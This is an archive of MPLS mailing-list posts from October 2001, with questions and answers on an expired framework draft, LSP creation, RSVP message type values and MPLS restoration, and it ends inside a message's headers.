Message-ID: <D55193A1090CD4118171009027DC8CEBB08935@mail1.coronanetworks.com>
From: Sanjeev Chakravarty <Sanjeev@coronanetworks.com>
To: Srinivas T M <srini_tm@yahoo.com>
Cc: mpls@UU.NET
Subject: RE: A Framework for MPLS
Date: Tue, 2 Oct 2001 18:03:23 -0700 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C14BA7.32FD3080"
Sender: owner-mpls@UU.NET
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C14BA7.32FD3080
Content-Type: text/plain;
	charset="ISO-8859-1"

Hi Srini,

A google search would give you lots of sites hosting this draft.

one of them is:
http://ardnoc41.canet2.net/mpls/drafts/draft-ietf-mpls-framework-04.txt

Sanjeev

-----Original Message-----
From: Srinivas T M [mailto:srini_tm@yahoo.com]
Sent: Tuesday, October 02, 2001 10:35 AM
To: Eric Gray
Cc: mpls@UU.NET
Subject: Re: A Framework for MPLS


Eric,
    Thanks for reply.
Is it possible to get same old draft
draft-ietf-mpls-framework-04.txt from IETF site ? But
it doesn't exist at
http://www.ietf.org/internet-drafts/draft-ietf-mpls-framework-04.txt.
  Where can I get that draft ?

Thanks in Advance.
Regards,
Srini.

--- Eric Gray <eric.gray@sandburst.com> wrote:
> Srinivas,
> 
>     This draft was overcome by events.  It had not
> become an RFC by the
> time certain other drafts were well advanced in that
> direction and it was
> in need of updating.
> 
> --
> Eric Gray (mailto:eric.gray@sandburst.com)
> http://www.mindspring.com/~ewgray
> 
> You wrote:
> 
> > Hi,
> >    Anybody knows about below draft condition. It
> it
> > became RFC?
> >
> > Title    : A Framework for MPLS
> > Author(s): R. Callon,  P. Doolan, N. Feldman,
> >            A. Fredette, G. Swallow, A. Viswanathan
> > Filename : draft-ietf-mpls-framework-04.txt
> >
> > I couldn't able to find
> > draft-ietf-mpls-framework-04.txt draft at
> >
>
http://www.ietf.org/internet-drafts/draft-ietf-mpls-framework-04.txt
> >    Please give pointer to find above "A Framework
> for
> > MPLS" draft.
> >
> > Thanks,
> > Srini.
> >
> 


__________________________________________________
Do You Yahoo!?
Listen to your Yahoo! Mail messages from any phone.
http://phone.yahoo.com

------_=_NextPart_001_01C14BA7.32FD3080
Content-Type: text/html;
	charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3DISO-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2653.12">
<TITLE>RE: A Framework for MPLS</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>Hi Srini,</FONT>
</P>

<P><FONT SIZE=3D2>A google search would give you lots of sites hosting =
this draft.</FONT>
</P>

<P><FONT SIZE=3D2>one of them is:</FONT>
<BR><FONT SIZE=3D2><A =
HREF=3D"http://ardnoc41.canet2.net/mpls/drafts/draft-ietf-mpls-framework=
-04.txt" =
TARGET=3D"_blank">http://ardnoc41.canet2.net/mpls/drafts/draft-ietf-mpls=
-framework-04.txt</A></FONT>
</P>

<P><FONT SIZE=3D2>Sanjeev</FONT>
</P>

<P><FONT SIZE=3D2>-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>From: Srinivas T M [<A =
HREF=3D"mailto:srini_tm@yahoo.com">mailto:srini_tm@yahoo.com</A>]</FONT>=

<BR><FONT SIZE=3D2>Sent: Tuesday, October 02, 2001 10:35 AM</FONT>
<BR><FONT SIZE=3D2>To: Eric Gray</FONT>
<BR><FONT SIZE=3D2>Cc: mpls@UU.NET</FONT>
<BR><FONT SIZE=3D2>Subject: Re: A Framework for MPLS</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>Eric,</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp; Thanks for reply.</FONT>
<BR><FONT SIZE=3D2>Is it possible to get same old draft</FONT>
<BR><FONT SIZE=3D2>draft-ietf-mpls-framework-04.txt from IETF site ? =
But</FONT>
<BR><FONT SIZE=3D2>it doesn't exist at</FONT>
<BR><FONT SIZE=3D2><A =
HREF=3D"http://www.ietf.org/internet-drafts/draft-ietf-mpls-framework-04=
.txt" =
TARGET=3D"_blank">http://www.ietf.org/internet-drafts/draft-ietf-mpls-fr=
amework-04.txt</A>.</FONT>
<BR><FONT SIZE=3D2>&nbsp; Where can I get that draft ?</FONT>
</P>

<P><FONT SIZE=3D2>Thanks in Advance.</FONT>
<BR><FONT SIZE=3D2>Regards,</FONT>
<BR><FONT SIZE=3D2>Srini.</FONT>
</P>

<P><FONT SIZE=3D2>--- Eric Gray &lt;eric.gray@sandburst.com&gt; =
wrote:</FONT>
<BR><FONT SIZE=3D2>&gt; Srinivas,</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp;&nbsp; This draft was overcome =
by events.&nbsp; It had not</FONT>
<BR><FONT SIZE=3D2>&gt; become an RFC by the</FONT>
<BR><FONT SIZE=3D2>&gt; time certain other drafts were well advanced in =
that</FONT>
<BR><FONT SIZE=3D2>&gt; direction and it was</FONT>
<BR><FONT SIZE=3D2>&gt; in need of updating.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; --</FONT>
<BR><FONT SIZE=3D2>&gt; Eric Gray (<A =
HREF=3D"mailto:eric.gray@sandburst.com">mailto:eric.gray@sandburst.com</=
A>)</FONT>
<BR><FONT SIZE=3D2>&gt; <A HREF=3D"http://www.mindspring.com/~ewgray" =
TARGET=3D"_blank">http://www.mindspring.com/~ewgray</A></FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; You wrote:</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Hi,</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;&nbsp;&nbsp;&nbsp; Anybody knows about =
below draft condition. It</FONT>
<BR><FONT SIZE=3D2>&gt; it</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; became RFC?</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Title&nbsp;&nbsp;&nbsp; : A Framework for =
MPLS</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Author(s): R. Callon,&nbsp; P. Doolan, N. =
Feldman,</FONT>
<BR><FONT SIZE=3D2>&gt; =
&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
A. Fredette, G. Swallow, A. Viswanathan</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Filename : =
draft-ietf-mpls-framework-04.txt</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; I couldn't able to find</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; draft-ietf-mpls-framework-04.txt draft =
at</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2><A =
HREF=3D"http://www.ietf.org/internet-drafts/draft-ietf-mpls-framework-04=
.txt" =
TARGET=3D"_blank">http://www.ietf.org/internet-drafts/draft-ietf-mpls-fr=
amework-04.txt</A></FONT>
<BR><FONT SIZE=3D2>&gt; &gt;&nbsp;&nbsp;&nbsp; Please give pointer to =
find above &quot;A Framework</FONT>
<BR><FONT SIZE=3D2>&gt; for</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; MPLS&quot; draft.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Thanks,</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Srini.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
</P>
<BR>

<P><FONT =
SIZE=3D2>__________________________________________________</FONT>
<BR><FONT SIZE=3D2>Do You Yahoo!?</FONT>
<BR><FONT SIZE=3D2>Listen to your Yahoo! Mail messages from any =
phone.</FONT>
<BR><FONT SIZE=3D2><A HREF=3D"http://phone.yahoo.com" =
TARGET=3D"_blank">http://phone.yahoo.com</A></FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C14BA7.32FD3080--


From owner-mpls@UU.NET  Wed Oct  3 06:03:46 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA05412
	for <mpls-archive@lists.ietf.org>; Wed, 3 Oct 2001 06:03:46 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljcy05523;
	Wed, 3 Oct 2001 10:03:51 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljcy15005
	for mpls-outgoing; Wed, 3 Oct 2001 10:03:11 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQljcy14996
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 3 Oct 2001 10:03:02 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQljcy26130
	for <mpls@uu.net>; Wed, 3 Oct 2001 10:02:22 GMT
Received: from mail2.registeredsite.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail2.registeredsite.com [64.224.9.11])
	id QQljcy10719
	for <mpls@uu.net>; Wed, 3 Oct 2001 10:02:31 GMT
Received: from mail.cominsights.com (mail.cominsights.com [64.225.2.217])
	by mail2.registeredsite.com (8.11.4/8.11.4) with ESMTP id f93988O07510
	for <mpls@uu.net>; Wed, 3 Oct 2001 05:08:08 -0400
Date: Wed,  3 Oct 2001 06:02:15 -0400
Message-Id: <200110030602.AA103678196@mail.cominsights.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
From: "krishnakanth.rao" <krishnakanth.rao@mail.cominsights.com>
Reply-To: <krishnakanth.rao@mail.cominsights.com>
To: <mpls@UU.NET>
Subject: LSP
X-Mailer: <IMail v6.05>
Sender: owner-mpls@UU.NET
Precedence: bulk

1. How are label switch paths created
2. Are they created before traffic starts flowing in an MPLS network or can they be created once packets starts flowing.
3. How do individual routers (LSR) know which label to distribute to its peer for different LSP's since the label value has a ditect bearing to the LSP's.
4. Are the LSP's created by the network administrators

Krishnakanth


From owner-mpls@UU.NET  Wed Oct  3 11:42:39 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA18862
	for <mpls-archive@lists.ietf.org>; Wed, 3 Oct 2001 11:42:39 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljdu29920;
	Wed, 3 Oct 2001 15:40:32 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljdu24514
	for mpls-outgoing; Wed, 3 Oct 2001 15:40:05 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQljdu24509
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 3 Oct 2001 15:40:03 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQljdu28426
	for <mpls@UU.NET>; Wed, 3 Oct 2001 15:39:47 GMT
From: schultz@mars.iol.unh.edu
Received: from iol.unh.edu by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mars.iol.unh.edu [132.177.121.222])
	id QQljdu06437
	for <mpls@UU.NET>; Wed, 3 Oct 2001 15:39:40 GMT
Received: from localhost (schultz@localhost)
	by iol.unh.edu (8.9.3/8.9.3) with ESMTP id LAA25615
	for <mpls@UU.NET>; Wed, 3 Oct 2001 11:39:41 -0400 (EDT)
Date: Wed, 3 Oct 2001 11:39:41 -0400
To: mpls@UU.NET
Subject: RSVP Message Type fields
In-Reply-To: <200110030602.AA103678196@mail.cominsights.com>
Message-ID: <Pine.SGI.4.20.0110031119010.25058-100000@mars.iol.unh.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mpls@UU.NET
Precedence: bulk


Hello,

Currently, I am looking for all of the possible defined message types for
RSVP.

RFC 2205 defines values 1-7
RFC 2745 defines values 8 and 9
RFC 2747 defines values 11 and 12
RFC 3097 redefines the values that were defined in 2747 as 25 and 26
RFC 2961 defines values 12, 13, and 15

1. Are there any defined values that I am missing?
2. Because type 11 was redefined in RFC 2747, does that mean that it is
now undefined?  I am assuming yes.

Thanks,
-Ben



From owner-mpls@UU.NET  Wed Oct  3 11:55:04 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA19286
	for <mpls-archive@lists.ietf.org>; Wed, 3 Oct 2001 11:55:03 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljdv24986;
	Wed, 3 Oct 2001 15:53:56 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljdv25551
	for mpls-outgoing; Wed, 3 Oct 2001 15:53:45 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQljdv25546
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 3 Oct 2001 15:53:44 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQljdv09318
	for <mpls@uu.net>; Wed, 3 Oct 2001 15:52:14 GMT
Received: from funnel.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQljdv15903
	for <mpls@uu.net>; Wed, 3 Oct 2001 15:52:14 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id LAA28519 for <mpls@uu.net>; Wed, 3 Oct 2001 11:52:01 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id LAA29647 for mpls@uu.net; Wed, 3 Oct 2001 11:52:01 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQljdv25349
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 3 Oct 2001 15:51:05 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQljdv04447
	for <mpls@UU.NET>; Wed, 3 Oct 2001 15:50:37 GMT
Received: from cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: uzura.cisco.com [64.102.17.77])
	id QQljdv21782
	for <mpls@UU.NET>; Wed, 3 Oct 2001 15:50:49 GMT
Received: from ASIMHA-W2K.cisco.com (dhcp-64-102-48-121.cisco.com [64.102.48.121])
	by cisco.com (8.8.8/2.6/Cisco List Logging/8.8.8) with ESMTP id LAA12342;
	Wed, 3 Oct 2001 11:50:34 -0400 (EDT)
Date: Wed, 3 Oct 2001 11:49:53 -0400 (Eastern Daylight Time)
From: Ajay Simha <asimha@cisco.com>
To: "krishnakanth.rao" <krishnakanth.rao@mail.cominsights.com>
cc: mpls@UU.NET
Subject: Re: LSP
In-Reply-To: <200110030602.AA103678196@mail.cominsights.com>
Message-ID: <Pine.WNT.4.40.0110031143060.1768-100000@ASIMHA-W2K.cisco.com>
X-X-Sender: asimha@uzura.cisco.com
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mpls@UU.NET
Precedence: bulk

On Wed, 3 Oct 2001, krishnakanth.rao wrote:

k>1. How are label switch paths created

They are created using control protocols like LDP/RSVP.

k>2. Are they created before traffic starts flowing in an MPLS network or
k>can they be created once packets starts flowing.

They are typically created when LSRs' routing protocols converge.  But they
could be created after packtes are being forwarded using hop-by-hop forwarding
(IP).

k>3. How do individual routers (LSR) know which label to distribute to its
k>peer for different LSP's since the label value has a ditect bearing to the

They are generated randomly by each LSR on a per-fec basis and the LSR then
tracks which labels are assigned to which FEC.  It could also keep track of
this on a per-interface/per-fec basis.

k>LSP's. 4. Are the LSP's created by the network administrators

Could be for TE....

You should read the RFCs/Drafts they explain most of this.

-ajay
k>
k>Krishnakanth
k>

-- 
Ajay Simha
MPLS Deployment Engineer
IOS Technology Division
(919) 392-3141

"Study as if you were to live forever
 Live as if you were to die tomorrow"

 - Mahatma Gandhi



From owner-mpls@UU.NET  Wed Oct  3 12:48:08 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA21566
	for <mpls-archive@lists.ietf.org>; Wed, 3 Oct 2001 12:48:07 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljdy25240;
	Wed, 3 Oct 2001 16:44:28 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljdy17893
	for mpls-outgoing; Wed, 3 Oct 2001 16:44:16 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQljdy17885
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 3 Oct 2001 16:44:14 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQljdy15061
	for <mpls@uu.net>; Wed, 3 Oct 2001 16:43:02 GMT
Received: from funnel.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQljdy26833
	for <mpls@uu.net>; Wed, 3 Oct 2001 16:43:13 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id MAA05652 for <mpls@uu.net>; Wed, 3 Oct 2001 12:43:01 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id MAA02128 for mpls@uu.net; Wed, 3 Oct 2001 12:43:01 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQljdy17749
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 3 Oct 2001 16:42:14 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQljdy01642
	for <mpls@uu.net>; Wed, 3 Oct 2001 16:40:09 GMT
Received: from ray.riverstonenet.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: host3.riverstonenet.com [63.113.148.3])
	id QQljdy19081
	for <mpls@uu.net>; Wed, 3 Oct 2001 16:40:01 GMT
Received: from rqiu by ray.riverstonenet.com with local (Exim 3.32 #1 (Debian))
	id 15op0v-0000AP-00; Wed, 03 Oct 2001 09:36:53 -0700
Date: Wed, 3 Oct 2001 09:36:52 -0700
From: Ray Qiu <rayq@riverstonenet.com>
To: schultz@mars.iol.unh.edu
Cc: mpls@UU.NET
Subject: Re: RSVP Message Type fields
Message-ID: <20011003093652.A639@debian>
Reply-To: Ray Qiu <rayq@riverstonenet.com>
References: <200110030602.AA103678196@mail.cominsights.com> <Pine.SGI.4.20.0110031119010.25058-100000@mars.iol.unh.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <Pine.SGI.4.20.0110031119010.25058-100000@mars.iol.unh.edu>
User-Agent: Mutt/1.3.20i
Sender: owner-mpls@UU.NET
Precedence: bulk

On Wed, Oct 03, 2001 at 11:39:41AM -0400, schultz@mars.iol.unh.edu wrote:
> 
> RFC 2205 defines values 1-7
> RFC 2745 defines values 8 and 9
> RFC 2747 defines values 11 and 12
> RFC 3097 redefines the values that were defined in 2747 as 25 and 26
> RFC 2961 defines values 12, 13, and 15
> 
> 1. Are there any defined values that I am missing?

draft-ietf-mpls-rsvp-lsp-tunnel-09.txt defines value 20(0x14) for RSVP-TE Hello. 

Thanks,
Ray



From owner-mpls@UU.NET  Wed Oct  3 22:29:32 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA08513
	for <mpls-archive@lists.ietf.org>; Wed, 3 Oct 2001 22:29:31 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljfl20662;
	Thu, 4 Oct 2001 02:29:29 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljfl06321
	for mpls-outgoing; Thu, 4 Oct 2001 02:28:59 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQljfl06316
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 4 Oct 2001 02:28:56 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQljfl25350
	for <mpls@uu.net>; Thu, 4 Oct 2001 02:28:12 GMT
Received: from vill.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: t17.villagenetworks.com [65.112.106.17])
	id QQljfl15037
	for <mpls@uu.net>; Thu, 4 Oct 2001 02:28:05 GMT
Received: from vill.com (dhcp271.vill.com [192.168.2.171])
	by vill.com (8.8.8+Sun/8.8.8) with ESMTP id WAA16372
	for <mpls@uu.net>; Wed, 3 Oct 2001 22:28:11 -0400 (EDT)
Message-ID: <3BBBC9DC.7A7DFBA@vill.com>
Date: Wed, 03 Oct 2001 22:30:52 -0400
From: Irfan Lateef <ilateef@vill.com>
Organization: Village Networks Inc
X-Mailer: Mozilla 4.7 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: MPLS Restoration
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hi,
   I have few doubts on MPLS restoration.
(1)The section 3.6. Fault Notification of
draft-ietf-mpls-recovery-frmwrk-03.txt says,
  " Depending on how fault notification is configured in
   the LSRs of an MPLS domain, the FIS could be sent either as a Layer 2

   or Layer 3 packet [11]. The use of a Layer 2-based notification
   requires a Layer 2 path direct to the PSL. "

  If there is an LSP from A to F as shown below and a failure has
occured
  between C & D
  A --- B --- C --- D --- E ---- F
   (a) what does it mean to have a layer 2 direct path ?

   (b) how can a direct path be setup if layer 2 is SONET or GigE?

   (c) And how do you route the FIS to the source in any layer 2
technology?


(2) I have read all the MPLS restoration drafts AFAIK, but haven't found
any
     reference to expected restoration times for path restoration or
global repair.
     My guess is it going to be in the order of seconds. Is there any
effort or work
     in progress to bring it down by an order or it is impossible and
futile effort.

Appreciate your comments.

Regards,
--
Irfan Lateef
Village Networks Inc,




From owner-mpls@UU.NET  Thu Oct  4 00:39:10 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA12593
	for <mpls-archive@lists.ietf.org>; Thu, 4 Oct 2001 00:39:09 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljfu03247;
	Thu, 4 Oct 2001 04:38:53 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljfu22814
	for mpls-outgoing; Thu, 4 Oct 2001 04:38:38 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQljfu22809
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 4 Oct 2001 04:38:38 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQljfu28759
	for <mpls@uu.net>; Thu, 4 Oct 2001 04:38:02 GMT
Received: from funnel.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQljfu00676
	for <mpls@uu.net>; Thu, 4 Oct 2001 04:38:14 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id AAA12806 for <mpls@uu.net>; Thu, 4 Oct 2001 00:38:01 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id AAA03218 for mpls@uu.net; Thu, 4 Oct 2001 00:38:01 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQljfu22755
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 4 Oct 2001 04:36:51 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQljfu23466
	for <mpls@UU.NET>; Thu, 4 Oct 2001 04:35:52 GMT
Received: from ihemail2.firewall.lucent.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: ihemail2.lucent.com [192.11.222.163])
	id QQljfu28762
	for <mpls@UU.NET>; Thu, 4 Oct 2001 04:35:45 GMT
Received: from ii0015exch001u.wins.lucent.com (h135-254-248-252.lucent.com [135.254.248.252])
	by ihemail2.firewall.lucent.com (Switch-2.1.3/Switch-2.1.0) with ESMTP id f944ZoR19211
	for <mpls@UU.NET>; Thu, 4 Oct 2001 00:35:50 -0400 (EDT)
Received: by II0015EXCH001U with Internet Mail Service (5.5.2650.21)
	id <T5Q62P1H>; Thu, 4 Oct 2001 10:05:48 +0530
Message-ID: <B0BADCAFF5CDD211989700805F85E3F6081C382D@II0015EXCH001U>
From: "Mokshagundam, Subramanya Ramalingasastry (Subramanya)"
	 <subs@lucent.com>
To: mpls@UU.NET
Subject: unsubscribe
Date: Thu, 4 Oct 2001 10:05:46 +0530 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="ISO-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk




From owner-mpls@UU.NET  Thu Oct  4 02:20:12 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA26089
	for <mpls-archive@lists.ietf.org>; Thu, 4 Oct 2001 02:20:11 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljgb11431;
	Thu, 4 Oct 2001 06:20:09 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljgb06951
	for mpls-outgoing; Thu, 4 Oct 2001 06:19:38 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQljgb06940
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 4 Oct 2001 06:19:34 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQljgb09201
	for <mpls@uu.net>; Thu, 4 Oct 2001 06:18:35 GMT
